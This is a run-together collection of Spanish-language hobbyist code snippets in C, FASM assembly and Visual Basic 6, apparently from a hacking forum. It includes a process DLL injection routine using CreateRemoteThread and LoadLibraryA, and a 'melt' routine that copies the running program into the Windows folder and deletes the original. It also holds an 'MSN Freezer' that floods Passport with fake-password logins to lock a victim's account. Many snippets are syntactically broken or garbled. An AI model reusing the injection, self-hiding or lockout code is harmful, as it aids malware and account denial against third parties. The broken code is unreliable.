idproc = OpenProcess(PROCESS_ALL_ACCESS,0,mangoproc);
carga = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
espacio = (LPVOID)VirtualAllocEx(idproc,0,strlen(rutadll),MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(idproc,(LPVOID)espacio,rutadll,strlen(rutadll),0);
CreateRemoteThread(idproc, 0, 0,(LPTHREAD_START_ROUTINE)carga,(LPVOID)espacio, 0, 0);
CloseHandle(idproc);
CloseHandle(espacio);
system("PAUSE");
}format PE GUI 4.0 DLL
entry DllEntryPoint
include 'c:\include\win32ax.inc'
section '.code' code readable executable
proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
cmp [fdwReason],1
JE mensage
mensage:
invoke MessageBox,0,mensajito,titulo,MB_OK
ret
endp
; VOID ShowErrorMessage(HWND hWnd,DWORD dwError);
proc ShowErrorMessage hWnd,dwError
local lpBuffer:DWORD
lea eax,[lpBuffer]
invoke FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0
invoke MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK
invoke LocalFree,[lpBuffer]
ret
endp
; VOID ShowLastError(HWND hWnd);
proc ShowLastError hWnd
invoke GetLastError
stdcall ShowErrorMessage,[hWnd],eax
ret
endp
section '.data' data readable writeable
mensajito db 'Dll Inyectada con exito',0
titulo db ' Exito!!',0
section '.idata' import data readable writeable
library kernel,'KERNEL32.DLL',\
user,'USER32.DLL'
import kernel,\
GetLastError,'GetLastError',\
SetLastError,'SetLastError',\
FormatMessage,'FormatMessageA',\
LocalFree,'LocalFree'
import user,\
MessageBox,'MessageBoxA'
section '.edata' export data readable
export 'ERRORMSG.DLL',\
ShowErrorMessage,'ShowErrorMessage',\
ShowLastError,'ShowLastError'
section '.reloc' fixups data discardable
format PE console
entry start
include 'c:\archivos de programa\include\win32ax.inc'
section '.code' code readable executable
start:
stdcall longitud,tipo
proc longitud,cadena
mov edx,[cadena]
sub edx,1
bucle:
add edx,1
mov bl,byte[edx]
cmp bl,NULL
jz fin
jnz seguir
seguir:
mov [letra],bl
add [contador],1
xor bl,5
invoke lstrcat,[cadena],bl ; esto es lo que me falla
jmp bucle
fin:
pop eax
invoke printf,tipo2,[cadena]
invoke scanf,tipo2,numero
ret
endp
section '.data' data readable writeable
contador dd 0
tipo db 'hola',NULL
tipo2 db '%i',0
numero dd ?
letra db ?
cadena db 'h'
section '.idata' import data readable writeable
library msvcrt,'msvcrt.dll',\
KERNEL32,'KERNEL32.DLL',\
USER32,'USER32.DLL'
import msvcrt, printf,'printf',\
scanf,'scanf'
import KERNEL32,lstrcat,'lstrcat'
import USER32,MessageBoxA,'MessageBoxA' ' Melt By Drinky94.
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Function DrinkyMelt(Datos As String) As Boolean
If App.Path = Environ("windir") Then
Kill Datos
' Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
' Call Inyectar
Else
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe"
Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0)
End
End If
End Function
Private Sub form_load()
Call DrinkyMelt(Command)
End Sub
.#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
}#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
printf("%s\n",argv[1]);
system("PAUSE");
}
Option Explicit
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal lParam As Any) As Long
Private Const MB_ICONEXCLAMATION = &H30&
Private Sub Form_Load()
Dim id As Long
Dim direccion As Long
id = LoadLibrary("user32") 'Cargamos la libreria
direccion = GetProcAddress(id, "MessageBoxA") 'obtenemos la direccion em memoria
CallWindowProc direccion, Me.hWnd, "cuerpo", "Titulo", MB_ICONEXCLAMATION ' llamamos a la funcion
FreeLibrary id ' liberamos la dll
End Sub
.Option Explicit
Private Declare Function WSAStartup Lib "WSOCK32" (ByVal wVersionRequired As Long, lpWSADATA As WSAData) As Long
Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Integer
Private Declare Function Bind Lib "wsock32.dll" Alias "bind" (ByVal s As Long, ByRef name As sockaddr, ByVal namelen As Long) As Long
Private Const MAX_WSADescription = 256
Private Const MAX_WSASYSStatus = 128
Private Const WS_VERSION_REQD As Long = &H101
Private Const AF_INET As Long = 2
Private Const SOCK_STREAM As Long = 1
Private Const IPPROTO_TCP As Long = 6
Private Const INADDR_ANY As Long = &H0
Private Type sockaddr
sin_family As Integer
sin_port As Integer
sin_addr As Long
sin_zero As String * 8
End Type
Private Type WSAData
wVersion As Integer
wHighVersion As Integer
szDescription(0 To MAX_WSADescription) As Byte
szSystemStatus(0 To MAX_WSASYSStatus) As Byte
wMaxSockets As Integer
wMaxUDPDG As Integer
dwVendorInfo As Long
End Type
Public Function Dsocket() As Boolean
Dim IniciarSocket As Integer
Dim WSAS As WSAData
Dim sock As Integer
Dim sa As sockaddr
IniciarSocket = WSAStartup(WS_VERSION_REQD, WSAS)
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
sa.sin_family = AF_INET
sa.sin_addr = INADDR_ANY
sa.sin_port = htons(22233)
If (Bind(sock, sa, LenB(sa)) = -1) Then
MsgBox "error": Exit Function
End If
Exit Function
error:
Exit Function
End Function
Private Sub form_load()
Dsocket
End Subinclude 'c:\archivos de programa\include\win32ax.inc'
.data
msgerror db 'No se a encontrado la consola',0
tituloerror db 'Error',0
tituloconsola db 'Drinky Console in Asm',0
linea db 'Esta es mi consola!',0
hwnd dd ?
escribe dd ?
longitud dd ?
.code
start:
invoke AllocConsole
invoke GetStdHandle,STD_INPUT_HANDLE
cmp eax,0
ja correcto
jbe incorrecto
correcto:
mov [hwnd],eax
invoke SetConsoleTitle,tituloconsola
invoke lstrlen,linea
mov [longitud],eax
invoke WriteConsole,hwnd,linea,longitud,[escribe],NULL ; Esta es la linea que creo que falla
jmp fin
incorrecto:
invoke MessageBoxA,0,msgerror,tituloerror,MB_ICONERROR
jmp fin
fin:
ret
.end start Option Explicit
Public Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Const GENERIC_READ = &H80000000
Public Const FILE_SHARE_READ = &H1
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const OPEN_EXISTING As Long = 3
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Public Type OVERLAPPED
ternal As Long
ternalHigh As Long
offset As Long
OffsetHigh As Long
hEvent As Long
End Type
Public Function Archivo(ruta As String) As Boolean
Dim abrirarchivo As Long
Dim sa As SECURITY_ATTRIBUTES
Dim leerarchivo As Long
Dim over As OVERLAPPED
Dim buffer As String
Dim nada As Long
Dim bytesleidos As Long
abrirarchivo = CreateFile(ruta, GENERIC_READ, FILE_SHARE_READ, sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)
buffer = Space(FileLen(ruta))
leerarchivo = ReadFile(abrirarchivo, buffer, nada, bytesleidos, over)
Call CloseHandle(abrirarchivo)
MsgBox buffer
End Function
Sub Main()
Call Archivo("c:\feo.txt")
End SubPrivate Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" ( _
ByVal hwnd As Long, _
ByVal lpString As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _
ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Sub Command1_Click()
Dim drinky As String, handle As long
handle = FindWindow(vbNullString, "Calculadora")
drinky = SetWindowText(handle, "Drinky94 ;)")
End Sub
'*******************************************
'** Funcion: Algoritmo simple **
'** fecha: 14-2-2010 **
'** Autor: Drinky94 **
'** Email: Drinky.94:-com **
'*******************************************
Option Explicit
Dim datos As String
Enum estado
encryptar = 1
desencryptar = 2
End Enum
Public Function Encryptdecrypt(ByRef cadena As String, ByRef modo As estado)
Dim longitudcadena As String, formarcadena As String, caracter As String, i As Integer
Dim drinky As String, adaptar As String
longitudcadena = Len(cadena)
If modo = 1 Then
For i = 1 To longitudcadena
caracter = Mid(cadena, i, longitudcadena)
formarcadena = Asc(caracter) + longitudcadena
drinky = Chr(formarcadena)
datos = datos + drinky
Next i
MsgBox "Su texto encryptado es: " & datos
Else
For i = 1 To longitudcadena
caracter = Mid(datos, i, longitudcadena)
formarcadena = Asc(caracter) - longitudcadena
drinky = Chr(formarcadena)
datos = datos + drinky
Next i
adaptar = Mid(datos, longitudcadena + 1, longitudcadena)
MsgBox "Su texto desencryptado es: " & adaptar
End If
End FunctionPrivate Sub Command1_Click()
Call Encryptdecrypt(Text1, encryptar)
End Sub'*************************************************
'**** Programado por Drinky94 ****
'*************************************************
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim Mensaje As String
Private Sub banear_click()
If text1 = "" Then
MsgBox "No ha insertado ningun msn", vbExclamation, "[CPH] Msn Freezer: Error"
Else
If intr(text1, "@") = True Then
WS.Close
WS.remotehost = messenger.hotmail.com
WS.remoteport = 1863
WS.Connect
Call parte1
Else
MsgBox "Inserte una direccion de correo valida", vbExclamation, "[CPH] Msn Freezer: Error"
End If
End Sub
Private Sub desbanear_click()
On Error GoTo err
WS.Close
WS2.Close
WS3.Close
timer1.Enabled = False
MsgBox "La cuenta a sido desbloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta ha sido desbloqueada con exito"
err:
MsgBox "El programa a detectado un error y debe cerrarse", vbCritical, "[CPH] Msn Freezer: Error"
End
End Sub
Private Sub parte1()
WS.senddata = ">>VER 1 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte2()
WS.senddata = ">>CVR 2 0X0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS" & text1 & ":-com"
End Sub
Private Sub parte3()
WS.senddata = ">>USR 3 TWN I" & text1
End Sub
Private Sub parte4()
WS2.Close
WS2.remotehost = "207.46.106.35"
WS2.remoteport = 1863
Call parte5
End Sub
Private Sub parte5()
WS2.senddata = ">>VER 4 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte6()
WS2.senddata = ">>CVR 5 0x0409 win i386 MSNMSGR 5.0.0544 MSMSGS" & text1
End Sub
Private Sub parte7()
WS2.senddata = ">>USR 6 TWN I" & text1
End Sub
Private Sub parte8()
WS3.Close
WS3.remotehost = "login.passport.com"
WS3.remoteport = 433
WS3.Connect
timer1.Enabled = True
timer1.Interval = 1000
End Sub
Private Sub timer1_timer()
WS3.senddata = ">>GET /login2.srf HTTP/1.0 Accept: */* Host: login.pasport.com User Agent: loquesea Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmesenger%2Emsn%2Ecom,sing-in=" & text1 & ",pwd:" & "contraseñafalsaaenviartienequeserdificilparaquenuncacoincida,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1139411464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Select Case mensage
Case "<<VER 1 MSNP9 MSNP8 CVR0"
Call parte2
Case "<<CVR 2 7.5.0311 7.50311 6.2.0205 http://msgr.dlservicemicrosoft.com/download/e/7/5e75042c3-31c1-4b42-a458-adbc-786322fe/install_MSN_Messenger.EXE http://messenger.msn.com/es"
Call parte3
Case "<<XFR 3 NS 207.46.106.35:1863 0 207.46.104.20:1863"
Call parte4
End Select
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Case "<<VER 4 MSNP9 MSNP8 CVR0"
Call parte6
Case "<<CVR 5 6.00602 1.0.0000 http://download.microsoft.com/download/8/a/4/8a42bcae-f533-4468-b871-d2bc-8dd32e9e/SETUP9x.EXE http://messenger.msn.com"
Call parte7
Case "<<URS 5 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%messenger%2Emsn%2ecom,ct=113941464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Call Winsock1.GetData(Mensaje)
Case mensage
Call parte8
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Winsock1.LocalPort = 0
Winsock1.Accept requestID
End Sub
Private Sub form_load()
With ProgressBar1
.Max = 100
.Min = 0
.Value = 0
End With
End Sub